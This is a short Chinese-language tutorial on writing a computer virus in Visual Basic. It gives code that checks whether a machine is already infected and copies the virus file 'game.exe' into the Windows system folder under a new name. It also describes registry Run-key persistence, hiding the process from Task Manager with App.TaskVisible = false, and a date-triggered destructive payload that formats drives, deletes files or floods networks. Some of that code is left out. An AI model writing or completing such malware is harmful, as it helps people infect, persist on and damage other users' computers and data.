相信电脑界的每个人都痛恨计算机病毒,她给我们带来了很多麻烦和损失,可你知道编写病毒的方法和过程吗?在此我仅以VB编写为例,揭开她的面纱。
用VB编写病毒需要考虑到如下几点:
* 感染主机
首先染毒文件运行后先要判断主机是否以感染病毒,也就是判断病毒主体文件是否存在,如果不存在则将病毒主体拷贝到指定位置(如:
将病毒文件拷贝到c:\Windows\system\),可用filecopy语句实现;如果病毒已感染主机则结束判断。
例如,判断C:\windows\system\Killer.exe是否存在,如果有则退出判断,如果没有则证明本机未感染病毒,立即拷入病毒文件。
病毒源文件名为game.exe
声明部分:
以下是引用片段:
""定义 FileExists% 函数
public success%
Function FileExists%(fname$)
On Local Error Resume Next
Dim ff%
ff% = FreeFile
Open fname$ For Input As ff%
If Err Then
FileExists% = False
Else
FileExists% = True
End If
Close ff%
End Function
代码部分:
以下是引用片段:
""判断文件是否存在
success% = FileExists%("C:\windows\system\Killer.exe")
If success% = False Then ""病毒不存在则拷贝病毒到计算机
FileCopy "game.exe", "C:\windows\system\Killer.exe"
... ""修改注册表,将其加入RUN中。(省略若干代码)
End If
* 开机启动病毒
在病毒感染主机的同时,将自身加入注册表的开机运行中,这与向主机拷入病毒是同时进行的,主机感染后不再修改注册表。可通过编程和调用API函数对WIN注册表进行操作来实现,这样在每次启动计算机时病毒自动启动。(具体编写方法请查阅其它资料)
* 任务管理器
在任务管理器列表中禁止病毒本身被列出,可以通过编程来实现。用代码 App.TaskVisible = false 就可以实现;再有就是通过调用Win API函数来实现,这里就不作介绍了。
* 病毒发作条件
可用Day(Date)来判断今天是几号,再与确定好的日期作比较,相同则表现出病毒主体的破坏性,否则不发作。也可用Time、Date或其它方法作为病毒发作条件的判断。例:
以下是引用片段:
if day(date)=16 then ""16是发作日期,取值为1-31的整数
... ... ""kill ******* 当日期相符时运行的破坏性代码(格式化、删除指定的文件类型、发送数据包杜塞网路等,省略若干代码)
end if